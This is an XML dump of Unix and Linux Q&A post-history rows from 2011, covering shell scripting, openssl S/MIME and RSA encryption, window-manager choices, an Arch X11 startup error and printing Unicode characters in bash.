  <row Id="29987" PostHistoryTypeId="5" PostId="11959" RevisionGUID="f8ed4c98-ae95-44db-88e6-7b593acb9922" CreationDate="2011-04-28T22:58:22.470" UserId="4415" Comment="added quotes around $@ as suggested on comment below" Text="I use a short script I keep in my path, called *after*, containing&#xD;&#xA;&#xD;&#xA;    at now + &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;This way it's very easy to, for example, type:&#xD;&#xA;&#xD;&#xA;    after 15 min&#xD;&#xA;&#xD;&#xA;then any commands and Ctrl-D, or&#xD;&#xA;&#xD;&#xA;    echo COMMANDS | after 15 min&#xD;&#xA;&#xD;&#xA;which does the same." />
  <row Id="29988" PostHistoryTypeId="5" PostId="12255" RevisionGUID="1571a1e4-933c-4442-8d96-1a16a98e7034" CreationDate="2011-04-28T23:11:16.183" UserId="885" Comment="more explanations, responding to comment" Text="Why are you calling `sh`, if that's a bash script? It's clear that on your system, `sh` is not bash, but some other shell in the Bourne/POSIX family. In fact, it's [dash](http://gondor.apana.org.au/~herbert/dash/), a smaller shell designed for low memory consumption and speed that pretty much only supports [POSIX](http://pubs.opengroup.org/onlinepubs/009695399/idx/xcu.html) constructs and built-in utilities.&#xD;&#xA;&#xD;&#xA;`[[ … ]]` is a ksh extension to the Bourne syntax that was picked up by bash and zsh but not by POSIX. In a portable script, you need to use `[ … ]` for tests. The standard construct doesn't have any support for pattern matching; the standard idiom is to use a [`case` construct](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_09_04_05):&#xD;&#xA;&#xD;&#xA;    case $1 in                        # branch to the first pattern that $1 matches&#xD;&#xA;      *[!0-9]*)                       # pattern = anything containing a non-digit&#xD;&#xA;        echo not a number             # do this if the first pattern triggered&#xD;&#xA;        ;;                            # end of this case branch&#xD;&#xA;      *)                              # pattern = anything (else)&#xD;&#xA;        echo successor of $(($1-1))   # do this if the second pattern triggered&#xD;&#xA;        ;;                            # end of this case branch&#xD;&#xA;    esac                              # end of the case construct&#xD;&#xA;&#xD;&#xA;Here's a function that tests if its argument is all-digits:&#xD;&#xA;&#xD;&#xA;    is_all_digits () {&#xD;&#xA;      case $1 in *[!0-9]*) false;; esac&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**Digression**: I initially made a typo in the snippet above: I'd written `$(($0-1))`. This caused odd-looking error messages:&#xD;&#xA;&#xD;&#xA;    $ ash foo.sh 42&#xD;&#xA;    foo.sh: 4: arithmetic expression: expecting EOF: &quot;foo.sh-1&quot;&#xD;&#xA;    $ ash ./foo.sh 42&#xD;&#xA;    ./foo.sh: 4: arithmetic expression: expecting primary: &quot;./foo.sh-1&quot;&#xD;&#xA;    $ ksh ./foo.sh 42&#xD;&#xA;    ./foo.sh: line 3: foo.sh: invalid variable name&#xD;&#xA;    $ pdksh ./foo.sh 42&#xD;&#xA;    ./foo.sh[4]: ./foo.sh-1: unexpected `.'&#xD;&#xA;    $ bash foo.sh 42         &#xD;&#xA;    foo.sh: line 3: foo.sh-1: syntax error: invalid arithmetic operator (error token is &quot;.sh-1&quot;)&#xD;&#xA;    $ bash ./foo.sh 42&#xD;&#xA;    ./foo.sh: line 3: ./foo.sh-1: syntax error: operand expected (error token is &quot;./foo.sh-1&quot;)&#xD;&#xA;    $ zsh foo.sh 42&#xD;&#xA;    foo.sh:3: bad floating point constant&#xD;&#xA;&#xD;&#xA;`$0` is the name of the script, so the arithmetic expression to be evaluated was `foo.sh-1` or `./foo.sh-1`. You can watch the diversity of error mesages amongst shells. I was a little surprised to see that ash's messages and bash's message without `./` were the clearest: none of the other shells mention that the problem is in an arithmetic expression. Ash and pdksh do get docked points for reporting the error one line too far.&#xD;&#xA;" />
  <row Id="29989" PostHistoryTypeId="2" PostId="12262" RevisionGUID="2c9a6963-d1ef-48b3-b832-262fc595f341" CreationDate="2011-04-28T23:11:32.917" UserId="6866" Text="In the below, note you can specify whatever algorithm you want, be it the ones listed or RSA (though I do not know the exact name used for RSA by OpenSSL)&#xD;&#xA;&#xD;&#xA;use &quot;openssl enc -help&quot; to get a list of supported ciphers on your system, and pass that as an argument. eg, &quot;-aes256&quot;&#xD;&#xA;&#xD;&#xA;Note on my system I do not have RSA in my options - at least by that name.&#xD;&#xA;&#xD;&#xA;-------------&#xD;&#xA;&#xD;&#xA;How do I encrypt a S/MIME message?&#xD;&#xA;&#xD;&#xA;Let’s say that someone sends you her public certificate and asks that you encrypt some message to her. You’ve saved her certificate as her-cert.pem. You’ve saved your reply as my-message.txt.&#xD;&#xA;&#xD;&#xA;To get the default—though fairly weak—RC2-40 encryption, you just tell openssl where the message and the certificate are located.&#xD;&#xA;&#xD;&#xA;&gt; openssl smime her-cert.pem -encrypt -in my-message.txt&#xD;&#xA;&#xD;&#xA;If you’re pretty sure your remote correspondent has a robust SSL toolkit, you can specify a stronger encryption algorithm like triple DES:&#xD;&#xA;&#xD;&#xA;&gt; openssl smime her-cert.pem -encrypt -des3 -in my-message.txt&#xD;&#xA;&#xD;&#xA;By default, the encrypted message, including the mail headers, is sent to standard output. Use the -out option or your shell to redirect it to a file. Or, much trickier, pipe the output directly to sendmail.&#xD;&#xA;&#xD;&#xA;&gt; openssl smime her-cert.pem \&#xD;&#xA;&gt;   -encrypt \&#xD;&#xA;&gt;   -des3 \&#xD;&#xA;&gt;   -in my-message.txt \&#xD;&#xA;&gt;   -from 'Your Fullname &lt;you@youraddress.com&gt;' \&#xD;&#xA;&gt;   -to 'Her Fullname &lt;her@heraddress.com&gt;' \&#xD;&#xA;&gt;   -subject 'My encrypted reply' |\&#xD;&#xA;&gt; sendmail her@heraddress.com&#xD;&#xA;&#xD;&#xA;How do I sign a S/MIME message?&#xD;&#xA;&#xD;&#xA;If you don’t need to encrypt the entire message, but you do want to sign it so that your recipient can be assured of the message’s integrity, the recipe is similar to that for encryption. The main difference is that you need to have your own key and certificate, since you can’t sign anything with the recipient’s cert.&#xD;&#xA;&#xD;&#xA;&gt; openssl smime \&#xD;&#xA;&gt;   -sign \&#xD;&#xA;&gt;   -signer /path/to/your-cert.pem \&#xD;&#xA;&gt;   -in my-message.txt \&#xD;&#xA;&gt;   -from 'Your Fullname &lt;you@youraddress.com&gt;' \&#xD;&#xA;&gt;   -to 'Her Fullname &lt;her@heraddress.com&gt;' \&#xD;&#xA;&gt;   -subject 'My signed reply' |\&#xD;&#xA;&gt; sendmail her@heraddress.com&#xD;&#xA;&#xD;&#xA;-------------&#xD;&#xA;&#xD;&#xA;(from http://www.madboa.com/geek/openssl/ )&#xD;&#xA;&#xD;&#xA;(er... all those backslashes - those are supposed to be escaped newlines. not sure what's going on, as it displays fine in my edit box here!" />
  <row Id="29990" PostHistoryTypeId="5" PostId="12262" RevisionGUID="d490d93e-91b5-4c3f-a556-b182479dcdaf" CreationDate="2011-04-28T23:21:14.447" UserId="3169" Comment="fix one block of code's formatting" Text="In the below, note you can specify whatever algorithm you want, be it the ones listed or RSA (though I do not know the exact name used for RSA by OpenSSL)&#xD;&#xA;&#xD;&#xA;use &quot;openssl enc -help&quot; to get a list of supported ciphers on your system, and pass that as an argument. eg, &quot;-aes256&quot;&#xD;&#xA;&#xD;&#xA;Note on my system I do not have RSA in my options - at least by that name.&#xD;&#xA;&#xD;&#xA;-------------&#xD;&#xA;&#xD;&#xA;How do I encrypt a S/MIME message?&#xD;&#xA;&#xD;&#xA;Let’s say that someone sends you her public certificate and asks that you encrypt some message to her. You’ve saved her certificate as her-cert.pem. You’ve saved your reply as my-message.txt.&#xD;&#xA;&#xD;&#xA;To get the default—though fairly weak—RC2-40 encryption, you just tell openssl where the message and the certificate are located.&#xD;&#xA;&#xD;&#xA;&gt; openssl smime her-cert.pem -encrypt -in my-message.txt&#xD;&#xA;&#xD;&#xA;If you’re pretty sure your remote correspondent has a robust SSL toolkit, you can specify a stronger encryption algorithm like triple DES:&#xD;&#xA;&#xD;&#xA;&gt; openssl smime her-cert.pem -encrypt -des3 -in my-message.txt&#xD;&#xA;&#xD;&#xA;By default, the encrypted message, including the mail headers, is sent to standard output. Use the -out option or your shell to redirect it to a file. Or, much trickier, pipe the output directly to sendmail.&#xD;&#xA;&#xD;&#xA;    openssl smime her-cert.pem \&#xD;&#xA;       -encrypt \&#xD;&#xA;       -des3 \&#xD;&#xA;       -in my-message.txt \&#xD;&#xA;       -from 'Your Fullname &lt;you@youraddress.com&gt;' \&#xD;&#xA;       -to 'Her Fullname &lt;her@heraddress.com&gt;' \&#xD;&#xA;       -subject 'My encrypted reply' |\&#xD;&#xA;     sendmail her@heraddress.com&#xD;&#xA;&#xD;&#xA;How do I sign a S/MIME message?&#xD;&#xA;&#xD;&#xA;If you don’t need to encrypt the entire message, but you do want to sign it so that your recipient can be assured of the message’s integrity, the recipe is similar to that for encryption. The main difference is that you need to have your own key and certificate, since you can’t sign anything with the recipient’s cert.&#xD;&#xA;&#xD;&#xA;&gt; openssl smime \&#xD;&#xA;&gt;   -sign \&#xD;&#xA;&gt;   -signer /path/to/your-cert.pem \&#xD;&#xA;&gt;   -in my-message.txt \&#xD;&#xA;&gt;   -from 'Your Fullname &lt;you@youraddress.com&gt;' \&#xD;&#xA;&gt;   -to 'Her Fullname &lt;her@heraddress.com&gt;' \&#xD;&#xA;&gt;   -subject 'My signed reply' |\&#xD;&#xA;&gt; sendmail her@heraddress.com&#xD;&#xA;&#xD;&#xA;-------------&#xD;&#xA;&#xD;&#xA;(from http://www.madboa.com/geek/openssl/ )&#xD;&#xA;&#xD;&#xA;(er... all those backslashes - those are supposed to be escaped newlines. not sure what's going on, as it displays fine in my edit box here!" />
  <row Id="29991" PostHistoryTypeId="2" PostId="12263" RevisionGUID="d6844686-7643-4ff9-b890-04958e04b492" CreationDate="2011-04-28T23:21:57.930" UserId="885" Text="In the [openssl manual](http://www.openssl.org/docs/apps/openssl.html) (`openssl` man page), search for `RSA`, and you'll see that the command for RSA encryption is `rsautl`. Then read the [`rsautl` man page](http://www.openssl.org/docs/apps/rsautl.html) to see its syntax.&#xD;&#xA;&#xD;&#xA;    echo 'Hi Alice! Please bring malacpörkölt for dinner!' |&#xD;&#xA;    openssl rsautl -encrypt -inkey alice.pub &gt;message.encrypted&#xD;&#xA;&#xD;&#xA;The default [padding scheme](http://en.wikipedia.org/wiki/RSA#Padding_schemes) is the original PKCS#1 v1.5 (still used in many procotols); openssl also supports OAEP (now recommended) and raw encryption (only useful in special circumstances).&#xD;&#xA;&#xD;&#xA;Note that using openssl directly is mostly an exercise. In practice, you'd use a tool such as [gpg](http://en.wikipedia.org/wiki/GNU_Privacy_Guard) (which uses RSA, but not directly to encrypt the message).&#xD;&#xA;" />
  <row Id="29992" PostHistoryTypeId="2" PostId="12264" RevisionGUID="1df98e1d-925d-47ee-aaf6-9e03e001b4d5" CreationDate="2011-04-28T23:25:56.283" UserId="5859" Text="I've been using FVWM for over a decade, and for some time I've been concerned that the window manager is dying a slow death. I realize that 2.6.0 just came out a few days ago, and ironically that is what reminded me to look into a replacement - while a new stable version is good, it took so long (4 years between 2.4.20 and 2.6.0, and 2 years between 2.4.19 and 2.4.20) that I'm still unconfident in FVWM's future.&#xD;&#xA;&#xD;&#xA;Thus, I'm wondering if there is a more modern window manager which has the following properties:&#xD;&#xA;&#xD;&#xA;1. Focus-follows-mouse *without* auto-raise. I.e., if I drag the mouse into a window which is partially obscured, that window gains focus but does *not* come to the front.&#xD;&#xA;&#xD;&#xA;1. Multiple virtual desktops that I can switch between with the keyboard and that I can move windows between.&#xD;&#xA;&#xD;&#xA;1. Modifier key + mouse window manipulation that can be configured to the following: &#xD;&#xA;&#xD;&#xA;   * left click + alt + shift = send to back if frontmost, otherwise raise to front&#xD;&#xA;   * right click + alt + shift = maximize window vertically (horizontal size unchanged)&#xD;&#xA;   * middle click + alt + shift = grab window and move it&#xD;&#xA;   * middle chord + alt + control + shift = resize (drag pointer to side or corner and move that side or corner)&#xD;&#xA;&#xD;&#xA;For all of these, &quot;click&quot; means click anywhere in the window, not just the frame. The move/resize operations should begin on mouse-down and end on mouse-up.&#xD;&#xA;&#xD;&#xA;I don't use any desktop environment, just plain X11." />
  <row Id="29993" PostHistoryTypeId="1" PostId="12264" RevisionGUID="1df98e1d-925d-47ee-aaf6-9e03e001b4d5" CreationDate="2011-04-28T23:25:56.283" UserId="5859" Text="Alternatives to FVWM window manager?" />
  <row Id="29994" PostHistoryTypeId="3" PostId="12264" RevisionGUID="1df98e1d-925d-47ee-aaf6-9e03e001b4d5" CreationDate="2011-04-28T23:25:56.283" UserId="5859" Text="éx11àéwindowömanagerà" />
  <row Id="29995" PostHistoryTypeId="2" PostId="12265" RevisionGUID="1bd2fdd0-8473-4773-9ece-ceb7dd92ff70" CreationDate="2011-04-28T23:26:05.400" UserId="6167" Text="First, if you just want good encryption, you should look at [GnuPG][1].  But if your experimenting and just want to learn how it works, you need to understand what [RSA][2] is.  RSA isn't designed to encrypt any arbitrary string, it's an algorithm that encrypts an integer.  Specifically, an integer from 0 to n-1 where n is the modulus value from the public key.  When you talk about a RSA key that's 1024 bits, that means it takes 1024 bits to store the modulus in binary.  This is one of the reasons, RSA is used in combination with a symmetric key cipher like [DES][3] or [AES][4].  You can generate a random 256 bit key for AES and encrypt that key with a 1024 bit RSA public key.  Then anyone which access to the private key can extract the symmetric key and decode the message with AES.  The full standard for RSA is called [PKCS #1][5]&#xD;&#xA;&#xD;&#xA;Furthermore, DES and AES are block ciphers.  They only encrypt data in block of a specific size.  DES uses 64-bit blocks and AES uses 128-bit blocks.  To encrypt more than a block, you must use a [Mode of Operation][6] like CBC or CTR.  These modes specify how to encrypt a stream of bits using a block mode cipher.&#xD;&#xA;&#xD;&#xA;Lastly, it's important to verify the data you are receiving.  While an attacker may not be able to read data in transit, he may be able to flip bits without detection if no integrity or authenticity is applied to the data stream.  An attacker can easily guess that an SSL connection to port 443 is probably a webpage request starting with `GET /` and he could flip bit changing it to `PUT /` without interfering with the rest of the encryption.  A simple approach to integrity is to append an MD5 or SHA-1 sum at the end, but that only provides data integrity, not data authenticity.  Any one with complete knowledge of the data stream can generate a correct sum, a more secure approach is to use a keyed-hash like [HMAC][7] which requires knowledge of a secret key to generate thereby providing data authenticity in addition to integrity.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnupg.org/gph/en/manual.html&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/RSA&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Data_Encryption_Standard&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Advanced_Encryption_Standard&#xD;&#xA;  [5]: http://www.rsa.com/rsalabs/node.asp?id=2125&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/Mode_of_operation&#xD;&#xA;  [7]: http://en.wikipedia.org/wiki/HMAC" />
  <row Id="29996" PostHistoryTypeId="5" PostId="12262" RevisionGUID="4c568ba0-2014-4aca-b11e-6273d77a9996" CreationDate="2011-04-28T23:30:51.203" UserId="6866" Comment="thanks!" Text="In the below, note you can specify whatever algorithm you want, be it the ones listed or RSA (though I do not know the exact name used for RSA by OpenSSL)&#xD;&#xA;&#xD;&#xA;use &quot;openssl enc -help&quot; to get a list of supported ciphers on your system, and pass that as an argument. eg, &quot;-aes256&quot;&#xD;&#xA;&#xD;&#xA;Note on my system I do not have RSA in my options - at least by that name.&#xD;&#xA;&#xD;&#xA;-------------&#xD;&#xA;&#xD;&#xA;How do I encrypt a S/MIME message?&#xD;&#xA;&#xD;&#xA;Let’s say that someone sends you her public certificate and asks that you encrypt some message to her. You’ve saved her certificate as her-cert.pem. You’ve saved your reply as my-message.txt.&#xD;&#xA;&#xD;&#xA;To get the default—though fairly weak—RC2-40 encryption, you just tell openssl where the message and the certificate are located.&#xD;&#xA;&#xD;&#xA;&gt; openssl smime her-cert.pem -encrypt -in my-message.txt&#xD;&#xA;&#xD;&#xA;If you’re pretty sure your remote correspondent has a robust SSL toolkit, you can specify a stronger encryption algorithm like triple DES:&#xD;&#xA;&#xD;&#xA;&gt; openssl smime her-cert.pem -encrypt -des3 -in my-message.txt&#xD;&#xA;&#xD;&#xA;By default, the encrypted message, including the mail headers, is sent to standard output. Use the -out option or your shell to redirect it to a file. Or, much trickier, pipe the output directly to sendmail.&#xD;&#xA;&#xD;&#xA;    openssl smime her-cert.pem \&#xD;&#xA;       -encrypt \&#xD;&#xA;       -des3 \&#xD;&#xA;       -in my-message.txt \&#xD;&#xA;       -from 'Your Fullname &lt;you@youraddress.com&gt;' \&#xD;&#xA;       -to 'Her Fullname &lt;her@heraddress.com&gt;' \&#xD;&#xA;       -subject 'My encrypted reply' |\&#xD;&#xA;     sendmail her@heraddress.com&#xD;&#xA;&#xD;&#xA;How do I sign a S/MIME message?&#xD;&#xA;&#xD;&#xA;If you don’t need to encrypt the entire message, but you do want to sign it so that your recipient can be assured of the message’s integrity, the recipe is similar to that for encryption. The main difference is that you need to have your own key and certificate, since you can’t sign anything with the recipient’s cert.&#xD;&#xA;&#xD;&#xA;     openssl smime \&#xD;&#xA;       -sign \&#xD;&#xA;       -signer /path/to/your-cert.pem \&#xD;&#xA;       -in my-message.txt \&#xD;&#xA;       -from 'Your Fullname &lt;you@youraddress.com&gt;' \&#xD;&#xA;       -to 'Her Fullname &lt;her@heraddress.com&gt;' \&#xD;&#xA;       -subject 'My signed reply' |\&#xD;&#xA;     sendmail her@heraddress.com&#xD;&#xA;&#xD;&#xA;-------------&#xD;&#xA;&#xD;&#xA;(from http://www.madboa.com/geek/openssl/ )&#xD;&#xA;&#xD;&#xA;(er... all those backslashes - those are supposed to be escaped newlines. not sure what's going on, as it displays fine in my edit box here!" />
  <row Id="29997" PostHistoryTypeId="2" PostId="12266" RevisionGUID="b3d9e097-056f-426c-a95d-98734d18974b" CreationDate="2011-04-28T23:34:35.250" UserId="885" Text="I think fvwm can do all that, it's pretty configurable in the relevant respects. Did you have trouble convincing it to do your bidding?&#xD;&#xA;&#xD;&#xA;I used to use fvwm, but eventually switched to [sawfish](http://sawfish.wikia.com/), because I wanted better programmable hooks. (Back when I last used fvwm, it was technically Turing-complete, but only through the `PipeRead` command, and didn't have hooks in the right place.) Sawfish is built like Emacs, with a Lisp surface over a compiled core. It supports multiple desktops out of the box. Everything you ask for either works by setting a few options or can be implemented in a few lines of code.&#xD;&#xA;" />
  <row Id="29998" PostHistoryTypeId="6" PostId="12264" RevisionGUID="8f817f69-23df-402c-b00c-f3dfec4845a7" CreationDate="2011-04-29T00:06:31.587" UserId="885" Comment="edited tags" Text="ésoftwareörecàéx11àéwindowömanagerà" />
  <row Id="29999" PostHistoryTypeId="25" PostId="12260" RevisionGUID="9e30e00a-bc15-47ac-98ec-5843427d3d38" CreationDate="2011-04-29T00:09:19.620" Comment="http://twitter.com/#!/StackUnix/status/63756712984854528" />
  <row Id="30000" PostHistoryTypeId="6" PostId="12188" RevisionGUID="841c118a-0213-41ae-9c62-8ea794e245ea" CreationDate="2011-04-29T00:16:24.203" UserId="885" Comment="edited tags" Text="égnomeàéfileöcopyàéfreezeà" />
  <row Id="30001" PostHistoryTypeId="5" PostId="12264" RevisionGUID="3b0c056d-4a35-446e-88d3-1ad80c9bd73e" CreationDate="2011-04-29T00:43:11.433" UserId="5859" Comment="added 68 characters in body" Text="I've been using FVWM for over a decade, and for some time I've been concerned that the window manager is dying a slow death. I realize that 2.6.0 just came out a few days ago, and ironically that is what reminded me to look into a replacement - while a new stable version is good, it took so long (4 years between 2.4.20 and 2.6.0, and 2 years between 2.4.19 and 2.4.20) that I'm still unconfident in FVWM's future.&#xD;&#xA;&#xD;&#xA;Thus, I'm wondering if there is a more modern window manager which has the following properties (these are the key things I like about FVWM and would like to keep):&#xD;&#xA;&#xD;&#xA;1. Focus-follows-mouse *without* auto-raise. I.e., if I drag the mouse into a window which is partially obscured, that window gains focus but does *not* come to the front.&#xD;&#xA;&#xD;&#xA;1. Multiple virtual desktops that I can switch between with the keyboard and that I can move windows between.&#xD;&#xA;&#xD;&#xA;1. Modifier key + mouse window manipulation that can be configured to the following: &#xD;&#xA;&#xD;&#xA;   * left click + alt + shift = send to back if frontmost, otherwise raise to front&#xD;&#xA;   * right click + alt + shift = maximize window vertically (horizontal size unchanged)&#xD;&#xA;   * middle click + alt + shift = grab window and move it&#xD;&#xA;   * middle chord + alt + control + shift = resize (drag pointer to side or corner and move that side or corner)&#xD;&#xA;&#xD;&#xA;For all of these, &quot;click&quot; means click anywhere in the window, not just the frame. The move/resize operations should begin on mouse-down and end on mouse-up.&#xD;&#xA;&#xD;&#xA;I don't use any desktop environment, just plain X11." />
  <row Id="30002" PostHistoryTypeId="13" PostId="12237" RevisionGUID="90565715-5018-4704-b679-528793d508f2" CreationDate="2011-04-29T02:00:03.333" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="30011" PostHistoryTypeId="2" PostId="12268" RevisionGUID="615da6d0-2e6d-4eb7-aa80-cf203316d73b" CreationDate="2011-04-29T03:00:11.497" UserId="6973" Text="I have a `~/bin` directory (which is on my `PATH`) where I store a lot of little 1 or 2 line scripts. Some of them just `cd` into a directory and run a command on a file, like `vim` or something. But I also have a lot of aliases in my `.bash_aliases` file which serve the same purpose. &#xD;&#xA;&#xD;&#xA;How do you decide between write a little bash script and writing an alias? Does it matter at all which way you go? " />
  <row Id="30012" PostHistoryTypeId="1" PostId="12268" RevisionGUID="615da6d0-2e6d-4eb7-aa80-cf203316d73b" CreationDate="2011-04-29T03:00:11.497" UserId="6973" Text="Do you prefer bash scripts or aliases for shortcuts?" />
  <row Id="30013" PostHistoryTypeId="3" PostId="12268" RevisionGUID="615da6d0-2e6d-4eb7-aa80-cf203316d73b" CreationDate="2011-04-29T03:00:11.497" UserId="6973" Text="éshellöscriptàéscriptingàéaliasà" />
  <row Id="30014" PostHistoryTypeId="2" PostId="12269" RevisionGUID="c0391ae8-3a18-48ae-bffe-7639a557108d" CreationDate="2011-04-29T03:03:20.650" UserId="3496" Text="I went through the Arch installation yesterday, everything seemed to be going fine but when I ran `startx` it gave an error(in image below)-&#xD;&#xA;![error message when I ran startx][1]&#xD;&#xA;&#xD;&#xA;Is it a problem with the graphics card driver? My laptop has Intel GL40 and I've installed the &#xD;&#xA;xf86-video-intel driver; is it the correct one? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/fOfJW.jpg" />
  <row Id="30015" PostHistoryTypeId="1" PostId="12269" RevisionGUID="c0391ae8-3a18-48ae-bffe-7639a557108d" CreationDate="2011-04-29T03:03:20.650" UserId="3496" Text="arch installation- startx not working" />
  <row Id="30016" PostHistoryTypeId="3" PostId="12269" RevisionGUID="c0391ae8-3a18-48ae-bffe-7639a557108d" CreationDate="2011-04-29T03:03:20.650" UserId="3496" Text="éxorgàéarchölinuxà" />
  <row Id="30017" PostHistoryTypeId="25" PostId="12264" RevisionGUID="260e42eb-38bd-407f-9bca-2427536de795" CreationDate="2011-04-29T03:09:19.490" Comment="http://twitter.com/#!/StackUnix/status/63802011379957760" />
  <row Id="30018" PostHistoryTypeId="2" PostId="12270" RevisionGUID="8db97615-94d4-4c34-a35f-6696c511b813" CreationDate="2011-04-29T03:30:13.643" UserId="1925" Text="If I use them frequently enough to warrant the overhead of having them loaded up in every shell. I will write them up as functions.&#xD;&#xA;&#xD;&#xA;If they are project specific, I might write them up as a set of aliases and functions that can be sourced into a shell when I'm working on that project.&#xD;&#xA;&#xD;&#xA;Only if they work in a stand-alone fashion does anything get made into a script in my ~/bin. There are some one liners that are basically aliases, but these are for running from places other than shells (run prompts in other programs for example). For the most part they have to be pretty substantial scripts." />
  <row Id="30019" PostHistoryTypeId="2" PostId="12271" RevisionGUID="dade6cda-9ec7-4b6e-8aae-aedd7b3231dc" CreationDate="2011-04-29T03:34:33.377" UserId="6761" Text="Have  you installed xterm and twm? It doesn't appear so from that screenshot.&#xD;&#xA;&#xD;&#xA;Make sure you install all of the Xorg base packages:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;# pacman -S xorg-server xorg-xinit xorg-utils xorg-server-utils&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;From the Arch Beginners' Guide: &#xD;&#xA;https://wiki.archlinux.org/index.php/Beginners_Guide#Install_X" />
  <row Id="30020" PostHistoryTypeId="5" PostId="12237" RevisionGUID="219d294c-f0b7-405b-ace1-b965967e753e" CreationDate="2011-04-29T03:43:03.060" UserId="4485" Comment="corrected the file pattern to file{1..3}.txt, not file{1..3}" Text="    egrep &quot;(string1|string2|string3)&quot; file{1..3}.txt&#xD;&#xA;" />
  <row Id="30021" PostHistoryTypeId="2" PostId="12272" RevisionGUID="bdd4ef42-6957-4517-9ff0-a515b268265e" CreationDate="2011-04-29T03:50:30.810" UserId="7065" Text="krunner, does a nice job in KDE. The ubuntu unity search bar is definitely the closest thing on linux to spotlight though..." />
  <row Id="30022" PostHistoryTypeId="2" PostId="12273" RevisionGUID="aa67f123-5fb4-4c14-a3ad-fd2392a06c09" CreationDate="2011-04-29T04:20:04.463" UserId="2343" Text="I have a list of Unicode Codepoints, but I don't know of a &quot;simple&quot; way to convert these hex values into the actual characters they represent...  &#xD;&#xA;&#xD;&#xA;I've heard that *zsh* has `echo -e '\u0965'`, but I use *bash*&#xD;&#xA;&#xD;&#xA;Is there something as simple as the zsh method, for bash? " />
  <row Id="30023" PostHistoryTypeId="1" PostId="12273" RevisionGUID="aa67f123-5fb4-4c14-a3ad-fd2392a06c09" CreationDate="2011-04-29T04:20:04.463" UserId="2343" Text="In bash, how can I convert a Unicode Codepoint [0-9A-F] into the printabale character?" />
  <row Id="30024" PostHistoryTypeId="3" PostId="12273" RevisionGUID="aa67f123-5fb4-4c14-a3ad-fd2392a06c09" CreationDate="2011-04-29T04:20:04.463" UserId="2343" Text="ébashàéunicodeàécodepointà" />
  <row Id="30025" PostHistoryTypeId="2" PostId="12274" RevisionGUID="32de12c8-78f0-402a-88fb-72c3c46deb09" CreationDate="2011-04-29T05:03:24.823" UserId="6988" Text="I suggest to use [`expr`][1] because it is POSIX-compliant:&#xD;&#xA;&#xD;&#xA;    if [ &quot;$(expr &quot;$1&quot; : '.*[0-9].*')&quot; != &quot;0&quot; ]; then&#xD;&#xA;        echo &quot;'$1' has a non-digit somewhere in it&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    else&#xD;&#xA;         echo &quot;'$1' is strictly numeric&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;[1]: http://pubs.opengroup.org/onlinepubs/000095399/utilities/expr.html" />
  <row Id="30026" PostHistoryTypeId="5" PostId="12121" RevisionGUID="b6057aea-bdd7-4bf0-b1d5-081dc0edc15c" CreationDate="2011-04-29T05:50:32.640" UserId="4843" Comment="added 1 characters in body" Text="IMHO, There is no such ctrl+alt+del key-combination for Linux. But to check, why the machine get hangs, you can do either: &#xD;&#xA;&gt;1. Press alt+ctrl+f1, and observe the command &quot;top&quot;, to see &quot;who&quot;/&quot;which program&quot; is eating up the cpu and causing the hang.&#xD;&#xA;2. You can place &quot;system-monitor&quot; in the taskbar, whose indicator will show the cpu-usage, for observation." />
  <row Id="30027" PostHistoryTypeId="25" PostId="12273" RevisionGUID="bfb70f5c-dc8c-4f0b-9d85-7e6f7170ee5c" CreationDate="2011-04-29T06:09:20.030" Comment="http://twitter.com/#!/StackUnix/status/63847312539127808" />
  <row Id="30028" PostHistoryTypeId="2" PostId="12275" RevisionGUID="954e3472-649e-43ac-9e2d-b9714a3dada8" CreationDate="2011-04-29T07:07:14.740" UserId="3384" Text="Hello, I'm using Linux as my main OS for few years.  &#xD;&#xA;&#xD;&#xA;Before month or so, i tested apple magic track pad and i loved it since i am using laptop touch pad more than a mouse, it requires less movement of hand and it replaces the mouse perfectly up the pint you need to draw something.  &#xD;&#xA;&#xD;&#xA;So i tried to find alternatives to it (dell or some other companies since apple production is overpriced), no luck. Any suggestions?" />
  <row Id="30029" PostHistoryTypeId="1" PostId="12275" RevisionGUID="954e3472-649e-43ac-9e2d-b9714a3dada8" CreationDate="2011-04-29T07:07:14.740" UserId="3384" Text="Linux Apple Magic Track Pad Alternatives" />
  <row Id="30030" PostHistoryTypeId="3" PostId="12275" RevisionGUID="954e3472-649e-43ac-9e2d-b9714a3dada8" CreationDate="2011-04-29T07:07:14.740" UserId="3384" Text="élinuxàétouchpadàéalternativesà" />
  <row Id="30031" PostHistoryTypeId="2" PostId="12276" RevisionGUID="b6ba629f-b501-47af-bda8-01d1f518055e" CreationDate="2011-04-29T07:13:15.643" UserId="1207" Text="If you have GNU coreutils, try `printf`:&#xD;&#xA;&#xD;&#xA;    $ printf '\u0965\n'&#xD;&#xA;    ॥&#xD;&#xA;&#xD;&#xA;`echo` can do the job if your console is using UTF-8 and you have the UTF-8 encoding:&#xD;&#xA;&#xD;&#xA;    $ echo -e '\xE0\xA5\xA5'&#xD;&#xA;&#xD;&#xA;You can find a table of Unicode to UTF-8 hex encodings here: http://www.utf8-chartable.de/.  You can convert the Unicode code points to hex using a number of scripting languages.  Here is an example using python:&#xD;&#xA;&#xD;&#xA;    python -c &quot;print(unichr(int('0965', 16)).encode('utf-8').encode('hex'))&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
